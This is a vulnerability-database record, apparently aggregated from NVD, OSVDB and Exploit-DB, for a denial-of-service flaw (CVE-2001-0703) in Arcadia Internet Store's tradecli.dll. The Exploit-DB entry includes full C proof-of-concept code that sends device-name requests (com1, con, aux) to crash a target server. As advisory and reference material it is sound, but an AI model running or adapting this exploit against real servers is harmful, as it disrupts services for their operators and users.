{"id": "CVE-2001-0703", "bulletinFamily": "NVD", "title": "CVE-2001-0703", "description": "tradecli.dll in Arcadia Internet Store 1.0 allows a remote attacker to cause a denial of service via a URL request with an MS-DOS device name in the template parameter.", "published": "2001-09-20T00:00:00", "modified": "2017-12-18T21:29:25", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0703", "reporter": "NVD", "references": ["http://www.securityfocus.com/bid/2905", "http://www.securityfocus.com/archive/1/192651", "https://exchange.xforce.ibmcloud.com/vulnerabilities/6739"], "cvelist": ["CVE-2001-0703"], "type": "cve", "lastseen": "2017-12-19T12:21:03", "history": [{"bulletin": {"assessment": {"href": "", "name": "", "system": ""}, "bulletinFamily": "NVD", "cpe": ["cpe:/a:arcadia:arcadia_internet_store:1.0"], "cvelist": ["CVE-2001-0703"], "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}, "description": "tradecli.dll in Arcadia Internet Store 1.0 allows a remote attacker to cause a denial of service via a URL request with an MS-DOS device name in the template parameter.", "edition": 1, "enchantments": {"score": {"modified": "2016-09-03T03:02:24", "value": 6.4}}, "hash": "d12c1b11a4b08eb34b7e086ab94bd9aa2085eabc6a24d395cbc34f0a3f2544ac", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "scanner"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "reporter"}, {"hash": "d24adb3ab01bb5ada327e3cbb593f895", "key": "description"}, {"hash": "2f2dba8a18a7803ec62d68e77277f510", "key": "title"}, {"hash": "660fa85d521e315d2e5bb269f6105d6f", "key": "cvelist"}, {"hash": "dded38be2bef79dcb61f132fcf39c822", "key": "href"}, {"hash": "6d3f4796275bb54c21a33b82f399cc6d", "key": "assessment"}, {"hash": "261c260370754eacfdb522bf58240a31", "key": "references"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "84813b1457b92d6ba1174abffbb83a2f", "key": "cvss"}, {"hash": "a60ecee916e4f178f0faf868de02993e", "key": "modified"}, {"hash": "b313bc2aec07b5a087ddade4a409569b", "key": "cpe"}, {"hash": "7c3616c075f6c12b73683349a44094d3", "key": "published"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0703", "id": "CVE-2001-0703", "lastseen": "2016-09-03T03:02:24", "modified": "2008-09-05T16:24:43", "objectVersion": "1.2", "published": "2001-09-20T00:00:00", "references": ["http://xforce.iss.net/static/6739.php", "http://www.securityfocus.com/bid/2905", "http://www.securityfocus.com/archive/1/192651"], "reporter": "NVD", "scanner": [], "title": "CVE-2001-0703", "type": "cve", "viewCount": 0}, "differentElements": ["references", "modified"], "edition": 1, "lastseen": "2016-09-03T03:02:24"}], "edition": 2, "hashmap": [{"key": "assessment", "hash": "6d3f4796275bb54c21a33b82f399cc6d"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "b313bc2aec07b5a087ddade4a409569b"}, {"key": "cvelist", "hash": "660fa85d521e315d2e5bb269f6105d6f"}, {"key": "cvss", "hash": "84813b1457b92d6ba1174abffbb83a2f"}, {"key": "description", "hash": "d24adb3ab01bb5ada327e3cbb593f895"}, {"key": "href", "hash": "dded38be2bef79dcb61f132fcf39c822"}, {"key": "modified", "hash": "2e6ab86883e79a8e780d11b29fdaba72"}, {"key": "published", "hash": "7c3616c075f6c12b73683349a44094d3"}, {"key": "references", "hash": "e0fe1c06ecc46dc85b587e2e14099977"}, {"key": "reporter", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "scanner", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "title", "hash": "2f2dba8a18a7803ec62d68e77277f510"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "a4865cd3656d11b9613c7eac61e1d3620a5bdf90c2bf52b4978259450010e298", "viewCount": 0, "enchantments": {"score": {"value": 5.0, "vector": "NONE", "modified": "2017-12-19T12:21:03"}, "vulnersScore": 5.0}, "objectVersion": "1.3", "cpe": ["cpe:/a:arcadia:arcadia_internet_store:1.0"], "assessment": {"href": "", "name": "", "system": ""}, "scanner": []}

{"osvdb": [{"lastseen": "2017-04-28T13:20:08", "references": [], "edition": 1, "description": "# No description provided by the source\n\n## References:\nISS X-Force ID: 6739\n[CVE-2001-0703](https://vulners.com/cve/CVE-2001-0703)\nBugtraq ID: 2905\n", "reporter": "OSVDB", "published": "2001-06-21T00:00:00", "title": "Arcadia Internet Store tradecli.dll DOS Device Name DoS", "type": "osvdb", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "bulletinFamily": "software", "affectedSoftware": [], "cvelist": ["CVE-2001-0703"], "modified": "2001-06-21T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:13055", "id": "OSVDB:13055", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}], "exploitdb": [{"lastseen": "2016-02-02T15:20:43", "osvdbidlist": ["13055"], "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"], "references": [], "description": "1C: Arcadia Internet Store 1.0 Denial of Service Vulnerability. CVE-2001-0703. Dos exploit for windows platform", "reporter": "NERF Security", "published": "2001-06-21T00:00:00", "type": "exploitdb", "title": "1C: Arcadia Internet Store 1.0 - Denial of Service Vulnerability", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "bulletinFamily": "exploit", "cvelist": ["CVE-2001-0703"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "modified": "2001-06-21T00:00:00", "id": "EDB-ID:20949", "href": "https://www.exploit-db.com/exploits/20949/", "sourceData": "source: http://www.securityfocus.com/bid/2905/info\r\n\r\n1C: Arcadia Internet Store is a online shopping utility for Microsoft Windows NT/2000 that is fully integratable with 1C: Enterprise, another popular Russian web-commerce utility.\r\n\r\nOne of the components of this package, 'tradecli.dll', allows users to specify a template file, the contents of which will be output.\r\n\r\nRemote attackers can request dos devices, such as 'con', 'com1', 'com2', etc. When 'tradecli.dll' attempts to open these files a denial of service may occur. \r\n\r\n/*\r\n Proof of conecpt code by linux^sex\r\n Exploit provided by NERF Security gr0up\r\n Attempts to crash any server you specify\r\n running Arcadia 1C: Arcadia Internet Store 1.0\r\n on Windows NT/2000 fully integratable with \r\n 1C: Enterprise, another popular Russian \r\n web-commerce utility. \r\n\r\n code request dos devices, such as 'con', 'com1', 'com2', etc. \r\n When 'tradecli.dll' attempts to open these files a denial of \r\n service may occur. Vendor has not released any patches as of yet\r\n NOTE: I take no responsibility for the mis-use of this code\r\n*/\r\n \r\n\r\n\r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <errno.h>\r\n#include <string.h>\r\n#include <netdb.h>\r\n#include <sys/types.h>\r\n#include <netinet/in.h>\r\n#include <sys/socket.h>\r\n\r\n#define PORT 80\r\nchar death[]= {\r\n \"GET /scripts/tradecli.dll?template=com1 HTML/1.0\\n\\n\\n\"\r\n \"GET /scripts/tradecli.dll?template=com2 HTML/1.0\\n\\n\\n\"\r\n \"GET /scripts/tradecli.dll?template=com3 HTML/1.0\\n\\n\\n\"\r\n \"GET /scripts/tradecli.dll?template=con HTML/1.0\\n\\n\\n\"\r\n \"GET /scripts/tradecli.dll?template=prn HTML/1.0\\n\\n\\n\"\r\n \"GET /scripts/tradecli.dll?template=aux HTML/1.0\\n\\n\\n\"\r\n};\r\n\r\nint main(int argc, char *argv[]) {\r\n int sockfd;\r\n char buf[1024];\r\n struct hostent *ha;\r\n struct sockaddr_in sa;\r\n if (argv[1] == NULL) {\r\n printf(\"Usage: %s <HOST>\\n\", argv[0]);\r\n printf(\"Proof of concecpt code by linux^sex\\n\");\r\n printf(\"contact me at linuxsex@crackdealer.com\\n\");\r\n printf(\"props to r00t-access crew\\n\");\r\n printf(\"visit us at www.r00taccess.ath.cx\\n\");\r\n exit(0);\r\n }\r\n\r\n if (!(ha = gethostbyname (argv[1])))\r\n perror (\"gethostbyname\");\r\n\r\n bzero (&sa, sizeof (sa));\r\n bcopy (ha->h_addr, (char *) &sa.sin_addr, ha->h_length);\r\n sa.sin_family = ha->h_addrtype;\r\n sa.sin_port = htons (PORT);\r\n \r\n if ((sockfd = socket (ha->h_addrtype, SOCK_STREAM, 0)) < 0) {\r\n perror (\"socket\");\r\n exit (1);\r\n }\r\n printf(\"Connecting\\n\");\r\n if (connect (sockfd, (struct sockaddr *) &sa, sizeof(sa)) < 0) {\r\n perror (\"connect\");\r\n exit (1);\r\n }\r\n printf(\"Connected...\\nrequesting dos devices\\n\");\r\n send(sockfd, death, sizeof(death), 0);\r\n read(sockfd, buf, 1024, 0);\r\n if (buf != NULL) {\r\n printf(\"Host is not vulnerable\\n\");\r\n close(sockfd);\r\n }\r\n}\r\n\r\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/20949/"}]}